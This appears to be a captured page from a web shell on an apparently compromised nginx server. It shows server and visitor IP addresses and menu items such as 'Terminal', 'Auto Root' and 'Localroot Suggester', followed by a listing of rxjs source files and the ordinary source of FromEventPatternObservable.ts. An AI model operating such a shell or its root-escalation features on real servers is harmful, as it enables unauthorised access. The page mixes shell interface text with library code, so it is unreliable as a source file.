Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.73.229
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
rxjs /
src /
observable /
Delete
Unzip
Name
Size
Permission
Date
Action
dom
[ DIR ]
drwxrwxr-x
2022-08-30 11:49
ArrayLikeObservable.ts
1.89
KB
-rw-rw-r--
2022-08-30 11:49
ArrayObservable.ts
4.29
KB
-rw-rw-r--
2022-08-30 11:49
BoundCallbackObservable.ts
14.32
KB
-rw-rw-r--
2022-08-30 11:49
BoundNodeCallbackObservable.ts
12.27
KB
-rw-rw-r--
2022-08-30 11:49
ConnectableObservable.ts
5.58
KB
-rw-rw-r--
2022-08-30 11:49
DeferObservable.ts
3.3
KB
-rw-rw-r--
2022-08-30 11:49
EmptyObservable.ts
2.51
KB
-rw-rw-r--
2022-08-30 11:49
ErrorObservable.ts
2.61
KB
-rw-rw-r--
2022-08-30 11:49
ForkJoinObservable.ts
10.66
KB
-rw-rw-r--
2022-08-30 11:49
FromEventObservable.ts
10.89
KB
-rw-rw-r--
2022-08-30 11:49
FromEventPatternObservable.ts
3.71
KB
-rw-rw-r--
2022-08-30 11:49
FromObservable.ts
4.34
KB
-rw-rw-r--
2022-08-30 11:49
GenerateObservable.ts
9.73
KB
-rw-rw-r--
2022-08-30 11:49
IfObservable.ts
1.84
KB
-rw-rw-r--
2022-08-30 11:49
IntervalObservable.ts
2.67
KB
-rw-rw-r--
2022-08-30 11:49
IteratorObservable.ts
3.69
KB
-rw-rw-r--
2022-08-30 11:49
NeverObservable.ts
1.6
KB
-rw-rw-r--
2022-08-30 11:49
PairsObservable.ts
2.63
KB
-rw-rw-r--
2022-08-30 11:49
PromiseObservable.ts
3.87
KB
-rw-rw-r--
2022-08-30 11:49
RangeObservable.ts
2.87
KB
-rw-rw-r--
2022-08-30 11:49
ScalarObservable.ts
1.32
KB
-rw-rw-r--
2022-08-30 11:49
SubscribeOnObservable.ts
1.51
KB
-rw-rw-r--
2022-08-30 11:49
TimerObservable.ts
3.8
KB
-rw-rw-r--
2022-08-30 11:49
UsingObservable.ts
1.88
KB
-rw-rw-r--
2022-08-30 11:49
bindCallback.ts
131
B
-rw-rw-r--
2022-08-30 11:49
bindNodeCallback.ts
147
B
-rw-rw-r--
2022-08-30 11:49
combineLatest.ts
9.79
KB
-rw-rw-r--
2022-08-30 11:49
concat.ts
6.04
KB
-rw-rw-r--
2022-08-30 11:49
defer.ts
100
B
-rw-rw-r--
2022-08-30 11:49
empty.ts
100
B
-rw-rw-r--
2022-08-30 11:49
forkJoin.ts
112
B
-rw-rw-r--
2022-08-30 11:49
from.ts
96
B
-rw-rw-r--
2022-08-30 11:49
fromEvent.ts
116
B
-rw-rw-r--
2022-08-30 11:49
fromEventPattern.ts
144
B
-rw-rw-r--
2022-08-30 11:49
fromPromise.ts
112
B
-rw-rw-r--
2022-08-30 11:49
generate.ts
111
B
-rw-rw-r--
2022-08-30 11:49
if.ts
89
B
-rw-rw-r--
2022-08-30 11:49
interval.ts
112
B
-rw-rw-r--
2022-08-30 11:49
merge.ts
6.14
KB
-rw-rw-r--
2022-08-30 11:49
never.ts
100
B
-rw-rw-r--
2022-08-30 11:49
of.ts
93
B
-rw-rw-r--
2022-08-30 11:49
onErrorResumeNext.ts
133
B
-rw-rw-r--
2022-08-30 11:49
pairs.ts
102
B
-rw-rw-r--
2022-08-30 11:49
race.ts
3.17
KB
-rw-rw-r--
2022-08-30 11:49
range.ts
100
B
-rw-rw-r--
2022-08-30 11:49
throw.ts
101
B
-rw-rw-r--
2022-08-30 11:49
timer.ts
100
B
-rw-rw-r--
2022-08-30 11:49
using.ts
100
B
-rw-rw-r--
2022-08-30 11:49
zip.ts
79
B
-rw-rw-r--
2022-08-30 11:49
Save
Rename
import { isFunction } from '../util/isFunction'; import { Observable } from '../Observable'; import { Subscription } from '../Subscription'; import { Subscriber } from '../Subscriber'; /** * We need this JSDoc comment for affecting ESDoc. * @extends {Ignored} * @hide true */ export class FromEventPatternObservable<T> extends Observable<T> { /** * Creates an Observable from an API based on addHandler/removeHandler * functions. * * <span class="informal">Converts any addHandler/removeHandler API to an * Observable.</span> * * <img src="./img/fromEventPattern.png" width="100%"> * * Creates an Observable by using the `addHandler` and `removeHandler` * functions to add and remove the handlers, with an optional selector * function to project the event arguments to a result. The `addHandler` is * called when the output Observable is subscribed, and `removeHandler` is * called when the Subscription is unsubscribed. * * @example <caption>Emits clicks happening on the DOM document</caption> * function addClickHandler(handler) { * document.addEventListener('click', handler); * } * * function removeClickHandler(handler) { * document.removeEventListener('click', handler); * } * * var clicks = Rx.Observable.fromEventPattern( * addClickHandler, * removeClickHandler * ); * clicks.subscribe(x => console.log(x)); * * @see {@link from} * @see {@link fromEvent} * * @param {function(handler: Function): any} addHandler A function that takes * a `handler` function as argument and attaches it somehow to the actual * source of events. * @param {function(handler: Function, signal?: any): void} [removeHandler] An optional function that * takes a `handler` function as argument and removes it in case it was * previously attached using `addHandler`. if addHandler returns signal to teardown when remove, * removeHandler function will forward it. * @param {function(...args: any): T} [selector] An optional function to * post-process results. It takes the arguments from the event handler and * should return a single value. * @return {Observable<T>} * @static true * @name fromEventPattern * @owner Observable */ static create<T>(addHandler: (handler: Function) => any, removeHandler?: (handler: Function, signal?: any) => void, selector?: (...args: Array<any>) => T) { return new FromEventPatternObservable(addHandler, removeHandler, selector); } constructor(private addHandler: (handler: Function) => any, private removeHandler?: (handler: Function, signal?: any) => void, private selector?: (...args: Array<any>) => T) { super(); } /** @deprecated internal use only */ _subscribe(subscriber: Subscriber<T>) { const removeHandler = this.removeHandler; const handler = !!this.selector ? (...args: Array<any>) => { this._callSelector(subscriber, args); } : function(e: any) { subscriber.next(e); }; const retValue = this._callAddHandler(handler, subscriber); if (!isFunction(removeHandler)) { return; } subscriber.add(new Subscription(() => { //TODO: determine whether or not to forward to error handler removeHandler(handler, retValue) ; })); } private _callSelector(subscriber: Subscriber<T>, args: Array<any>): void { try { const result: T = this.selector(...args); subscriber.next(result); } catch (e) { subscriber.error(e); } } private _callAddHandler(handler: (e: any) => void, errorSubscriber: Subscriber<T>): any | null { try { return this.addHandler(handler) || null; } catch (e) { errorSubscriber.error(e); } } }